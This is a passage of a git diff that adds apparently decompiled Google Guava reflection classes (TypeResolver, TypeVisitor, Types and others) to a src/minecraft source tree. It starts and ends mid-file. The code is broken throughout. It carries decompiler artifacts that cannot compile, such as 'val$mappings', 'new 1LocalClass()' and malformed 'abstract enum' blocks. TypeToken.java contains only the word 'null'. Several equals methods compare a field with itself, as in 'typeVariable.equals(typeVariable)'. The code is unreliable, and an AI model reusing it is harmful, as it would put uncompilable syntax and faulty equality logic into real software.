+    typeVariable = ((TypeVariable)type);
+  }
+  
+  public final int hashCode() {
+    return typeVariable.hashCode();
+  }
+  
+  public final boolean equals(@Nullable Object o) {
+    if ((o instanceof TypeParameter)) {
+      TypeParameter<?> that = (TypeParameter)o;
+      return typeVariable.equals(typeVariable);
+    }
+    return false;
+  }
+  
+  public String toString() {
+    return typeVariable.toString();
+  }
+}
diff --git a/src/minecraft/com/google/common/reflect/TypeResolver.java b/src/minecraft/com/google/common/reflect/TypeResolver.java
new file mode 100644
index 0000000..f6afbc6
--- /dev/null
+++ b/src/minecraft/com/google/common/reflect/TypeResolver.java
@@ -0,0 +1,500 @@
+package com.google.common.reflect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Joiner;
+import com.google.common.base.Objects;
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ImmutableMap;
+import com.google.common.collect.ImmutableMap.Builder;
+import com.google.common.collect.Maps;
+import java.lang.reflect.GenericArrayType;
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
+import java.lang.reflect.TypeVariable;
+import java.lang.reflect.WildcardType;
+import java.util.Arrays;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.concurrent.atomic.AtomicInteger;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class TypeResolver
+{
+  private final TypeTable typeTable;
+  
+  public TypeResolver()
+  {
+    typeTable = new TypeTable();
+  }
+  
+  private TypeResolver(TypeTable typeTable) {
+    this.typeTable = typeTable;
+  }
+  
+  static TypeResolver accordingTo(Type type) {
+    return new TypeResolver().where(TypeMappingIntrospector.getTypeMappings(type));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TypeResolver where(Type formal, Type actual)
+  {
+    Map<TypeVariableKey, Type> mappings = Maps.newHashMap();
+    populateTypeMappings(mappings, (Type)Preconditions.checkNotNull(formal), (Type)Preconditions.checkNotNull(actual));
+    return where(mappings);
+  }
+  
+  TypeResolver where(Map<TypeVariableKey, ? extends Type> mappings)
+  {
+    return new TypeResolver(typeTable.where(mappings));
+  }
+  
+  private static void populateTypeMappings(Map<TypeVariableKey, Type> mappings, Type from, final Type to)
+  {
+    if (from.equals(to)) {
+      return;
+    }
+    new TypeVisitor()
+    {
+      void visitTypeVariable(TypeVariable<?> typeVariable) { val$mappings.put(new TypeResolver.TypeVariableKey(typeVariable), to); }
+      
+      void visitWildcardType(WildcardType fromWildcardType) {
+        WildcardType toWildcardType = (WildcardType)TypeResolver.expectArgument(WildcardType.class, to);
+        Type[] fromUpperBounds = fromWildcardType.getUpperBounds();
+        Type[] toUpperBounds = toWildcardType.getUpperBounds();
+        Type[] fromLowerBounds = fromWildcardType.getLowerBounds();
+        Type[] toLowerBounds = toWildcardType.getLowerBounds();
+        Preconditions.checkArgument((fromUpperBounds.length == toUpperBounds.length) && (fromLowerBounds.length == toLowerBounds.length), "Incompatible type: %s vs. %s", new Object[] { fromWildcardType, to });
+        
+
+
+        for (int i = 0; i < fromUpperBounds.length; i++) {
+          TypeResolver.populateTypeMappings(val$mappings, fromUpperBounds[i], toUpperBounds[i]);
+        }
+        for (int i = 0; i < fromLowerBounds.length; i++)
+          TypeResolver.populateTypeMappings(val$mappings, fromLowerBounds[i], toLowerBounds[i]);
+      }
+      
+      void visitParameterizedType(ParameterizedType fromParameterizedType) {
+        ParameterizedType toParameterizedType = (ParameterizedType)TypeResolver.expectArgument(ParameterizedType.class, to);
+        Preconditions.checkArgument(fromParameterizedType.getRawType().equals(toParameterizedType.getRawType()), "Inconsistent raw type: %s vs. %s", new Object[] { fromParameterizedType, to });
+        
+        Type[] fromArgs = fromParameterizedType.getActualTypeArguments();
+        Type[] toArgs = toParameterizedType.getActualTypeArguments();
+        Preconditions.checkArgument(fromArgs.length == toArgs.length, "%s not compatible with %s", new Object[] { fromParameterizedType, toParameterizedType });
+        
+        for (int i = 0; i < fromArgs.length; i++)
+          TypeResolver.populateTypeMappings(val$mappings, fromArgs[i], toArgs[i]);
+      }
+      
+      void visitGenericArrayType(GenericArrayType fromArrayType) {
+        Type componentType = Types.getComponentType(to);
+        Preconditions.checkArgument(componentType != null, "%s is not an array type.", new Object[] { to });
+        TypeResolver.populateTypeMappings(val$mappings, fromArrayType.getGenericComponentType(), componentType);
+      }
+      
+
+
+
+      void visitClass(Class<?> fromClass) { throw new IllegalArgumentException("No type mapping from " + fromClass); } }.visit(new Type[] { from });
+  }
+  
+
+
+
+
+
+  public Type resolveType(Type type)
+  {
+    Preconditions.checkNotNull(type);
+    if ((type instanceof TypeVariable))
+      return typeTable.resolve((TypeVariable)type);
+    if ((type instanceof ParameterizedType))
+      return resolveParameterizedType((ParameterizedType)type);
+    if ((type instanceof GenericArrayType))
+      return resolveGenericArrayType((GenericArrayType)type);
+    if ((type instanceof WildcardType)) {
+      return resolveWildcardType((WildcardType)type);
+    }
+    
+    return type;
+  }
+  
+  private Type[] resolveTypes(Type[] types)
+  {
+    Type[] result = new Type[types.length];
+    for (int i = 0; i < types.length; i++) {
+      result[i] = resolveType(types[i]);
+    }
+    return result;
+  }
+  
+  private WildcardType resolveWildcardType(WildcardType type) {
+    Type[] lowerBounds = type.getLowerBounds();
+    Type[] upperBounds = type.getUpperBounds();
+    return new Types.WildcardTypeImpl(resolveTypes(lowerBounds), resolveTypes(upperBounds));
+  }
+  
+  private Type resolveGenericArrayType(GenericArrayType type)
+  {
+    Type componentType = type.getGenericComponentType();
+    Type resolvedComponentType = resolveType(componentType);
+    return Types.newArrayType(resolvedComponentType);
+  }
+  
+  private ParameterizedType resolveParameterizedType(ParameterizedType type) {
+    Type owner = type.getOwnerType();
+    Type resolvedOwner = owner == null ? null : resolveType(owner);
+    Type resolvedRawType = resolveType(type.getRawType());
+    
+    Type[] args = type.getActualTypeArguments();
+    Type[] resolvedArgs = resolveTypes(args);
+    return Types.newParameterizedTypeWithOwner(resolvedOwner, (Class)resolvedRawType, resolvedArgs);
+  }
+  
+  private static <T> T expectArgument(Class<T> type, Object arg)
+  {
+    try {
+      return type.cast(arg);
+    } catch (ClassCastException e) {
+      throw new IllegalArgumentException(arg + " is not a " + type.getSimpleName());
+    }
+  }
+  
+  private static class TypeTable
+  {
+    private final ImmutableMap<TypeResolver.TypeVariableKey, Type> map;
+    
+    TypeTable() {
+      map = ImmutableMap.of();
+    }
+    
+    private TypeTable(ImmutableMap<TypeResolver.TypeVariableKey, Type> map) {
+      this.map = map;
+    }
+    
+    final TypeTable where(Map<TypeResolver.TypeVariableKey, ? extends Type> mappings)
+    {
+      ImmutableMap.Builder<TypeResolver.TypeVariableKey, Type> builder = ImmutableMap.builder();
+      builder.putAll(map);
+      for (Map.Entry<TypeResolver.TypeVariableKey, ? extends Type> mapping : mappings.entrySet()) {
+        TypeResolver.TypeVariableKey variable = (TypeResolver.TypeVariableKey)mapping.getKey();
+        Type type = (Type)mapping.getValue();
+        Preconditions.checkArgument(!variable.equalsType(type), "Type variable %s bound to itself", new Object[] { variable });
+        builder.put(variable, type);
+      }
+      return new TypeTable(builder.build());
+    }
+    
+    final Type resolve(final TypeVariable<?> var) {
+      final TypeTable unguarded = this;
+      TypeTable guarded = new TypeTable()
+      {
+        public Type resolveInternal(TypeVariable<?> intermediateVar, TypeResolver.TypeTable forDependent) {
+          if (intermediateVar.getGenericDeclaration().equals(var.getGenericDeclaration())) {
+            return intermediateVar;
+          }
+          return unguarded.resolveInternal(intermediateVar, forDependent);
+        }
+      };
+      return resolveInternal(var, guarded);
+    }
+    
+
+
+
+
+
+
+
+    Type resolveInternal(TypeVariable<?> var, TypeTable forDependants)
+    {
+      Type type = (Type)map.get(new TypeResolver.TypeVariableKey(var));
+      if (type == null) {
+        Type[] bounds = var.getBounds();
+        if (bounds.length == 0) {
+          return var;
+        }
+        Type[] resolvedBounds = new TypeResolver(forDependants, null).resolveTypes(bounds);
+        
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+        if ((Types.NativeTypeVariableEquals.NATIVE_TYPE_VARIABLE_ONLY) && (Arrays.equals(bounds, resolvedBounds)))
+        {
+          return var;
+        }
+        return Types.newArtificialTypeVariable(var.getGenericDeclaration(), var.getName(), resolvedBounds);
+      }
+      
+
+      return new TypeResolver(forDependants, null).resolveType(type);
+    }
+  }
+  
+  private static final class TypeMappingIntrospector extends TypeVisitor
+  {
+    private static final TypeResolver.WildcardCapturer wildcardCapturer = new TypeResolver.WildcardCapturer(null);
+    
+    private final Map<TypeResolver.TypeVariableKey, Type> mappings = Maps.newHashMap();
+    
+
+    private TypeMappingIntrospector() {}
+    
+
+    static ImmutableMap<TypeResolver.TypeVariableKey, Type> getTypeMappings(Type contextType)
+    {
+      TypeMappingIntrospector introspector = new TypeMappingIntrospector();
+      introspector.visit(new Type[] { wildcardCapturer.capture(contextType) });
+      return ImmutableMap.copyOf(mappings);
+    }
+    
+    void visitClass(Class<?> clazz) {
+      visit(new Type[] { clazz.getGenericSuperclass() });
+      visit(clazz.getGenericInterfaces());
+    }
+    
+    void visitParameterizedType(ParameterizedType parameterizedType) {
+      Class<?> rawClass = (Class)parameterizedType.getRawType();
+      TypeVariable<?>[] vars = rawClass.getTypeParameters();
+      Type[] typeArgs = parameterizedType.getActualTypeArguments();
+      Preconditions.checkState(vars.length == typeArgs.length);
+      for (int i = 0; i < vars.length; i++) {
+        map(new TypeResolver.TypeVariableKey(vars[i]), typeArgs[i]);
+      }
+      visit(new Type[] { rawClass });
+      visit(new Type[] { parameterizedType.getOwnerType() });
+    }
+    
+    void visitTypeVariable(TypeVariable<?> t) {
+      visit(t.getBounds());
+    }
+    
+    void visitWildcardType(WildcardType t) {
+      visit(t.getUpperBounds());
+    }
+    
+    private void map(TypeResolver.TypeVariableKey var, Type arg) {
+      if (mappings.containsKey(var))
+      {
+
+
+
+
+        return;
+      }
+      
+      for (Type t = arg; t != null; t = (Type)mappings.get(TypeResolver.TypeVariableKey.forLookup(t))) {
+        if (var.equalsType(t))
+        {
+
+
+
+          for (Type x = arg; x != null; x = (Type)mappings.remove(TypeResolver.TypeVariableKey.forLookup(x))) {}
+          return;
+        }
+      }
+      mappings.put(var, arg);
+    }
+  }
+  
+
+
+
+  private static final class WildcardCapturer
+  {
+    private WildcardCapturer() {}
+    
+
+
+    private final AtomicInteger id = new AtomicInteger();
+    
+    Type capture(Type type) {
+      Preconditions.checkNotNull(type);
+      if ((type instanceof Class)) {
+        return type;
+      }
+      if ((type instanceof TypeVariable)) {
+        return type;
+      }
+      if ((type instanceof GenericArrayType)) {
+        GenericArrayType arrayType = (GenericArrayType)type;
+        return Types.newArrayType(capture(arrayType.getGenericComponentType()));
+      }
+      if ((type instanceof ParameterizedType)) {
+        ParameterizedType parameterizedType = (ParameterizedType)type;
+        return Types.newParameterizedTypeWithOwner(captureNullable(parameterizedType.getOwnerType()), (Class)parameterizedType.getRawType(), capture(parameterizedType.getActualTypeArguments()));
+      }
+      
+
+
+      if ((type instanceof WildcardType)) {
+        WildcardType wildcardType = (WildcardType)type;
+        Type[] lowerBounds = wildcardType.getLowerBounds();
+        if (lowerBounds.length == 0) {
+          Type[] upperBounds = wildcardType.getUpperBounds();
+          String name = "capture#" + id.incrementAndGet() + "-of ? extends " + Joiner.on('&').join(upperBounds);
+          
+          return Types.newArtificialTypeVariable(WildcardCapturer.class, name, wildcardType.getUpperBounds());
+        }
+        
+
+        return type;
+      }
+      
+      throw new AssertionError("must have been one of the known types");
+    }
+    
+    private Type captureNullable(@Nullable Type type) {
+      if (type == null) {
+        return null;
+      }
+      return capture(type);
+    }
+    
+    private Type[] capture(Type[] types) {
+      Type[] result = new Type[types.length];
+      for (int i = 0; i < types.length; i++) {
+        result[i] = capture(types[i]);
+      }
+      return result;
+    }
+  }
+  
+
+
+
+
+
+
+  static final class TypeVariableKey
+  {
+    private final TypeVariable<?> var;
+    
+
+
+
+
+
+
+    TypeVariableKey(TypeVariable<?> var)
+    {
+      this.var = ((TypeVariable)Preconditions.checkNotNull(var));
+    }
+    
+    public int hashCode() {
+      return Objects.hashCode(new Object[] { var.getGenericDeclaration(), var.getName() });
+    }
+    
+    public boolean equals(Object obj) {
+      if ((obj instanceof TypeVariableKey)) {
+        TypeVariableKey that = (TypeVariableKey)obj;
+        return equalsTypeVariable(var);
+      }
+      return false;
+    }
+    
+    public String toString()
+    {
+      return var.toString();
+    }
+    
+    static Object forLookup(Type t)
+    {
+      if ((t instanceof TypeVariable)) {
+        return new TypeVariableKey((TypeVariable)t);
+      }
+      return null;
+    }
+    
+
+
+
+
+    boolean equalsType(Type type)
+    {
+      if ((type instanceof TypeVariable)) {
+        return equalsTypeVariable((TypeVariable)type);
+      }
+      return false;
+    }
+    
+    private boolean equalsTypeVariable(TypeVariable<?> that)
+    {
+      return (var.getGenericDeclaration().equals(that.getGenericDeclaration())) && (var.getName().equals(that.getName()));
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/reflect/TypeToInstanceMap.java b/src/minecraft/com/google/common/reflect/TypeToInstanceMap.java
new file mode 100644
index 0000000..5777554
--- /dev/null
+++ b/src/minecraft/com/google/common/reflect/TypeToInstanceMap.java
@@ -0,0 +1,22 @@
+package com.google.common.reflect;
+
+import com.google.common.annotations.Beta;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+@Beta
+public abstract interface TypeToInstanceMap<B>
+  extends Map<TypeToken<? extends B>, B>
+{
+  @Nullable
+  public abstract <T extends B> T getInstance(Class<T> paramClass);
+  
+  @Nullable
+  public abstract <T extends B> T putInstance(Class<T> paramClass, @Nullable T paramT);
+  
+  @Nullable
+  public abstract <T extends B> T getInstance(TypeToken<T> paramTypeToken);
+  
+  @Nullable
+  public abstract <T extends B> T putInstance(TypeToken<T> paramTypeToken, @Nullable T paramT);
+}
diff --git a/src/minecraft/com/google/common/reflect/TypeToken.java b/src/minecraft/com/google/common/reflect/TypeToken.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/com/google/common/reflect/TypeToken.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/com/google/common/reflect/TypeVisitor.java b/src/minecraft/com/google/common/reflect/TypeVisitor.java
new file mode 100644
index 0000000..feb7bd6
--- /dev/null
+++ b/src/minecraft/com/google/common/reflect/TypeVisitor.java
@@ -0,0 +1,109 @@
+package com.google.common.reflect;
+
+import com.google.common.collect.Sets;
+import java.lang.reflect.GenericArrayType;
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
+import java.lang.reflect.TypeVariable;
+import java.lang.reflect.WildcardType;
+import java.util.Set;
+import javax.annotation.concurrent.NotThreadSafe;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@NotThreadSafe
+abstract class TypeVisitor
+{
+  private final Set<Type> visited = Sets.newHashSet();
+  
+
+  TypeVisitor() {}
+  
+  public final void visit(Type... types)
+  {
+    for (Type type : types) {
+      if ((type != null) && (visited.add(type)))
+      {
+
+
+        boolean succeeded = false;
+        try {
+          if ((type instanceof TypeVariable)) {
+            visitTypeVariable((TypeVariable)type);
+          } else if ((type instanceof WildcardType)) {
+            visitWildcardType((WildcardType)type);
+          } else if ((type instanceof ParameterizedType)) {
+            visitParameterizedType((ParameterizedType)type);
+          } else if ((type instanceof Class)) {
+            visitClass((Class)type);
+          } else if ((type instanceof GenericArrayType)) {
+            visitGenericArrayType((GenericArrayType)type);
+          } else {
+            throw new AssertionError("Unknown type: " + type);
+          }
+          succeeded = true;
+        } finally {
+          if (!succeeded) {
+            visited.remove(type);
+          }
+        }
+      }
+    }
+  }
+  
+  void visitClass(Class<?> t) {}
+  
+  void visitGenericArrayType(GenericArrayType t) {}
+  
+  void visitParameterizedType(ParameterizedType t) {}
+  
+  void visitTypeVariable(TypeVariable<?> t) {}
+  
+  void visitWildcardType(WildcardType t) {}
+}
diff --git a/src/minecraft/com/google/common/reflect/Types.java b/src/minecraft/com/google/common/reflect/Types.java
new file mode 100644
index 0000000..bfc8265
--- /dev/null
+++ b/src/minecraft/com/google/common/reflect/Types.java
@@ -0,0 +1,509 @@
+package com.google.common.reflect;
+
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Function;
+import com.google.common.base.Joiner;
+import com.google.common.base.Objects;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Predicates;
+import com.google.common.collect.ImmutableList;
+import com.google.common.collect.ImmutableList.Builder;
+import com.google.common.collect.Iterables;
+import java.io.Serializable;
+import java.lang.reflect.Array;
+import java.lang.reflect.GenericArrayType;
+import java.lang.reflect.GenericDeclaration;
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
+import java.lang.reflect.TypeVariable;
+import java.lang.reflect.WildcardType;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.concurrent.atomic.AtomicReference;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class Types
+{
+  private static final Function<Type, String> TYPE_TO_STRING = new Function()
+  {
+    public String apply(Type from) {
+      return Types.toString(from);
+    }
+  };
+  
+  private static final Joiner COMMA_JOINER = Joiner.on(", ").useForNull("null");
+  
+  static Type newArrayType(Type componentType)
+  {
+    if ((componentType instanceof WildcardType)) {
+      WildcardType wildcard = (WildcardType)componentType;
+      Type[] lowerBounds = wildcard.getLowerBounds();
+      Preconditions.checkArgument(lowerBounds.length <= 1, "Wildcard cannot have more than one lower bounds.");
+      if (lowerBounds.length == 1) {
+        return supertypeOf(newArrayType(lowerBounds[0]));
+      }
+      Type[] upperBounds = wildcard.getUpperBounds();
+      Preconditions.checkArgument(upperBounds.length == 1, "Wildcard should have only one upper bound.");
+      return subtypeOf(newArrayType(upperBounds[0]));
+    }
+    
+    return JavaVersion.CURRENT.newArrayType(componentType);
+  }
+  
+
+
+
+
+  static ParameterizedType newParameterizedTypeWithOwner(@Nullable Type ownerType, Class<?> rawType, Type... arguments)
+  {
+    if (ownerType == null) {
+      return newParameterizedType(rawType, arguments);
+    }
+    
+    Preconditions.checkNotNull(arguments);
+    Preconditions.checkArgument(rawType.getEnclosingClass() != null, "Owner type for unenclosed %s", new Object[] { rawType });
+    return new ParameterizedTypeImpl(ownerType, rawType, arguments);
+  }
+  
+
+
+
+
+
+  static ParameterizedType newParameterizedType(Class<?> rawType, Type... arguments) { return new ParameterizedTypeImpl(ClassOwnership.JVM_BEHAVIOR.getOwnerType(rawType), rawType, arguments); }
+  
+  private static abstract enum ClassOwnership { private ClassOwnership() {}
+    
+    @Nullable
+    abstract Class<?> getOwnerType(Class<?> paramClass);
+    
+    OWNED_BY_ENCLOSING_CLASS, 
+    
+
+
+
+
+
+    LOCAL_CLASS_HAS_NO_OWNER;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    static final ClassOwnership JVM_BEHAVIOR = detectJvmBehavior();
+    
+    private static ClassOwnership detectJvmBehavior()
+    {
+      Class<?> subclass = new 1LocalClass() {}.getClass();
+      ParameterizedType parameterizedType = (ParameterizedType)subclass.getGenericSuperclass();
+      
+      for (ClassOwnership behavior : values()) {
+        if (behavior.getOwnerType(1LocalClass.class) == parameterizedType.getOwnerType()) {
+          return behavior;
+        }
+      }
+      throw new AssertionError();
+    }
+  }
+  
+
+
+
+
+  static <D extends GenericDeclaration> TypeVariable<D> newArtificialTypeVariable(D declaration, String name, Type... bounds)
+  {
+    return new TypeVariableImpl(declaration, name, bounds.length == 0 ? new Type[] { Object.class } : bounds);
+  }
+  
+
+
+
+
+  @VisibleForTesting
+  static WildcardType subtypeOf(Type upperBound)
+  {
+    return new WildcardTypeImpl(new Type[0], new Type[] { upperBound });
+  }
+  
+  @VisibleForTesting
+  static WildcardType supertypeOf(Type lowerBound) {
+    return new WildcardTypeImpl(new Type[] { lowerBound }, new Type[] { Object.class });
+  }
+  
+
+
+
+
+
+
+
+
+  static String toString(Type type)
+  {
+    return (type instanceof Class) ? ((Class)type).getName() : type.toString();
+  }
+  
+  @Nullable
+  static Type getComponentType(Type type)
+  {
+    Preconditions.checkNotNull(type);
+    AtomicReference<Type> result = new AtomicReference();
+    new TypeVisitor() {
+      void visitTypeVariable(TypeVariable<?> t) {
+        val$result.set(Types.subtypeOfComponentType(t.getBounds()));
+      }
+      
+      void visitWildcardType(WildcardType t) { val$result.set(Types.subtypeOfComponentType(t.getUpperBounds())); }
+      
+      void visitGenericArrayType(GenericArrayType t) {
+        val$result.set(t.getGenericComponentType());
+      }
+      
+      void visitClass(Class<?> t) { val$result.set(t.getComponentType()); } }.visit(new Type[] { type });
+    
+
+    return (Type)result.get();
+  }
+  
+
+
+  @Nullable
+  private static Type subtypeOfComponentType(Type[] bounds)
+  {
+    for (Type bound : bounds) {
+      Type componentType = getComponentType(bound);
+      if (componentType != null)
+      {
+
+        if ((componentType instanceof Class)) {
+          Class<?> componentClass = (Class)componentType;
+          if (componentClass.isPrimitive()) {
+            return componentClass;
+          }
+        }
+        return subtypeOf(componentType);
+      }
+    }
+    return null;
+  }
+  
+  private static final class GenericArrayTypeImpl implements GenericArrayType, Serializable
+  {
+    private final Type componentType;
+    private static final long serialVersionUID = 0L;
+    
+    GenericArrayTypeImpl(Type componentType) {
+      this.componentType = Types.JavaVersion.CURRENT.usedInGenericType(componentType);
+    }
+    
+    public Type getGenericComponentType() {
+      return componentType;
+    }
+    
+    public String toString() {
+      return Types.toString(componentType) + "[]";
+    }
+    
+    public int hashCode() {
+      return componentType.hashCode();
+    }
+    
+    public boolean equals(Object obj) {
+      if ((obj instanceof GenericArrayType)) {
+        GenericArrayType that = (GenericArrayType)obj;
+        return Objects.equal(getGenericComponentType(), that.getGenericComponentType());
+      }
+      
+      return false;
+    }
+  }
+  
+
+  private static final class ParameterizedTypeImpl
+    implements ParameterizedType, Serializable
+  {
+    private final Type ownerType;
+    private final ImmutableList<Type> argumentsList;
+    private final Class<?> rawType;
+    private static final long serialVersionUID = 0L;
+    
+    ParameterizedTypeImpl(@Nullable Type ownerType, Class<?> rawType, Type[] typeArguments)
+    {
+      Preconditions.checkNotNull(rawType);
+      Preconditions.checkArgument(typeArguments.length == rawType.getTypeParameters().length);
+      Types.disallowPrimitiveType(typeArguments, "type parameter");
+      this.ownerType = ownerType;
+      this.rawType = rawType;
+      argumentsList = Types.JavaVersion.CURRENT.usedInGenericType(typeArguments);
+    }
+    
+    public Type[] getActualTypeArguments() {
+      return Types.toArray(argumentsList);
+    }
+    
+    public Type getRawType() {
+      return rawType;
+    }
+    
+    public Type getOwnerType() {
+      return ownerType;
+    }
+    
+    public String toString() {
+      StringBuilder builder = new StringBuilder();
+      if (ownerType != null) {
+        builder.append(Types.toString(ownerType)).append('.');
+      }
+      builder.append(rawType.getName()).append('<').append(Types.COMMA_JOINER.join(Iterables.transform(argumentsList, Types.TYPE_TO_STRING))).append('>');
+      
+
+
+      return builder.toString();
+    }
+    
+    public int hashCode() {
+      return (ownerType == null ? 0 : ownerType.hashCode()) ^ argumentsList.hashCode() ^ rawType.hashCode();
+    }
+    
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof ParameterizedType)) {
+        return false;
+      }
+      ParameterizedType that = (ParameterizedType)other;
+      return (getRawType().equals(that.getRawType())) && (Objects.equal(getOwnerType(), that.getOwnerType())) && (Arrays.equals(getActualTypeArguments(), that.getActualTypeArguments()));
+    }
+  }
+  
+
+  private static final class TypeVariableImpl<D extends GenericDeclaration>
+    implements TypeVariable<D>
+  {
+    private final D genericDeclaration;
+    
+    private final String name;
+    
+    private final ImmutableList<Type> bounds;
+    
+
+    TypeVariableImpl(D genericDeclaration, String name, Type[] bounds)
+    {
+      Types.disallowPrimitiveType(bounds, "bound for type variable");
+      this.genericDeclaration = ((GenericDeclaration)Preconditions.checkNotNull(genericDeclaration));
+      this.name = ((String)Preconditions.checkNotNull(name));
+      this.bounds = ImmutableList.copyOf(bounds);
+    }
+    
+    public Type[] getBounds() {
+      return Types.toArray(bounds);
+    }
+    
+    public D getGenericDeclaration() {
+      return genericDeclaration;
+    }
+    
+    public String getName() {
+      return name;
+    }
+    
+    public String toString() {
+      return name;
+    }
+    
+    public int hashCode() {
+      return genericDeclaration.hashCode() ^ name.hashCode();
+    }
+    
+    public boolean equals(Object obj) {
+      if (Types.NativeTypeVariableEquals.NATIVE_TYPE_VARIABLE_ONLY)
+      {
+        if ((obj instanceof TypeVariableImpl)) {
+          TypeVariableImpl<?> that = (TypeVariableImpl)obj;
+          return (name.equals(that.getName())) && (genericDeclaration.equals(that.getGenericDeclaration())) && (bounds.equals(bounds));
+        }
+        
+
+        return false;
+      }
+      
+      if ((obj instanceof TypeVariable)) {
+        TypeVariable<?> that = (TypeVariable)obj;
+        return (name.equals(that.getName())) && (genericDeclaration.equals(that.getGenericDeclaration()));
+      }
+      
+      return false;
+    }
+  }
+  
+  static final class WildcardTypeImpl implements WildcardType, Serializable
+  {
+    private final ImmutableList<Type> lowerBounds;
+    private final ImmutableList<Type> upperBounds;
+    private static final long serialVersionUID = 0L;
+    
+    WildcardTypeImpl(Type[] lowerBounds, Type[] upperBounds) {
+      Types.disallowPrimitiveType(lowerBounds, "lower bound for wildcard");
+      Types.disallowPrimitiveType(upperBounds, "upper bound for wildcard");
+      this.lowerBounds = Types.JavaVersion.CURRENT.usedInGenericType(lowerBounds);
+      this.upperBounds = Types.JavaVersion.CURRENT.usedInGenericType(upperBounds);
+    }
+    
+    public Type[] getLowerBounds() {
+      return Types.toArray(lowerBounds);
+    }
+    
+    public Type[] getUpperBounds() {
+      return Types.toArray(upperBounds);
+    }
+    
+    public boolean equals(Object obj) {
+      if ((obj instanceof WildcardType)) {
+        WildcardType that = (WildcardType)obj;
+        return (lowerBounds.equals(Arrays.asList(that.getLowerBounds()))) && (upperBounds.equals(Arrays.asList(that.getUpperBounds())));
+      }
+      
+      return false;
+    }
+    
+    public int hashCode() {
+      return lowerBounds.hashCode() ^ upperBounds.hashCode();
+    }
+    
+    public String toString() {
+      StringBuilder builder = new StringBuilder("?");
+      for (Type lowerBound : lowerBounds) {
+        builder.append(" super ").append(Types.toString(lowerBound));
+      }
+      for (Type upperBound : Types.filterUpperBounds(upperBounds)) {
+        builder.append(" extends ").append(Types.toString(upperBound));
+      }
+      return builder.toString();
+    }
+  }
+  
+
+  private static Type[] toArray(Collection<Type> types)
+  {
+    return (Type[])types.toArray(new Type[types.size()]);
+  }
+  
+  private static Iterable<Type> filterUpperBounds(Iterable<Type> bounds) {
+    return Iterables.filter(bounds, Predicates.not(Predicates.equalTo(Object.class)));
+  }
+  
+  private static void disallowPrimitiveType(Type[] types, String usedAs)
+  {
+    for (Type type : types) {
+      if ((type instanceof Class)) {
+        Class<?> cls = (Class)type;
+        Preconditions.checkArgument(!cls.isPrimitive(), "Primitive type '%s' used as %s", new Object[] { cls, usedAs });
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  static Class<?> getArrayClass(Class<?> componentType) { return Array.newInstance(componentType, 0).getClass(); }
+  
+  private Types() {}
+  
+  static abstract enum JavaVersion { private JavaVersion() {}
+    abstract Type newArrayType(Type paramType);
+    JAVA6, 
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+    JAVA7;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    static final JavaVersion CURRENT = (new TypeCapture() {}.capture() instanceof Class) ? JAVA7 : JAVA6;
+    
+
+    abstract Type usedInGenericType(Type paramType);
+    
+    final ImmutableList<Type> usedInGenericType(Type[] types)
+    {
+      ImmutableList.Builder<Type> builder = ImmutableList.builder();
+      for (Type type : types) {
+        builder.add(usedInGenericType(type));
+      }
+      return builder.build();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  static final class NativeTypeVariableEquals<X>
+  {
+    static final boolean NATIVE_TYPE_VARIABLE_ONLY = !NativeTypeVariableEquals.class.getTypeParameters()[0].equals(Types.newArtificialTypeVariable(NativeTypeVariableEquals.class, "X", new Type[0]));
+    
+    NativeTypeVariableEquals() {}
+  }
+}
diff --git a/src/minecraft/com/google/common/reflect/package-info.java b/src/minecraft/com/google/common/reflect/package-info.java
new file mode 100644
index 0000000..1c024e7
--- /dev/null
+++ b/src/minecraft/com/google/common/reflect/package-info.java
@@ -0,0 +1,6 @@
+package com.google.common.reflect;
+
+import javax.annotation.ParametersAreNonnullByDefault;
+
+@ParametersAreNonnullByDefault
+abstract interface package-info {}
diff --git a/src/minecraft/com/google/common/util/concurrent/AbstractCheckedFuture.java b/src/minecraft/com/google/common/util/concurrent/AbstractCheckedFuture.java
new file mode 100644
index 0000000..5ab5379
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/AbstractCheckedFuture.java
@@ -0,0 +1,117 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.annotations.Beta;
+import java.util.concurrent.CancellationException;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public abstract class AbstractCheckedFuture<V, X extends Exception>
+  extends ForwardingListenableFuture.SimpleForwardingListenableFuture<V>
+  implements CheckedFuture<V, X>
+{
+  protected AbstractCheckedFuture(ListenableFuture<V> delegate)
+  {
+    super(delegate);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected abstract X mapException(Exception paramException);
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public V checkedGet()
+    throws Exception
+  {
+    try
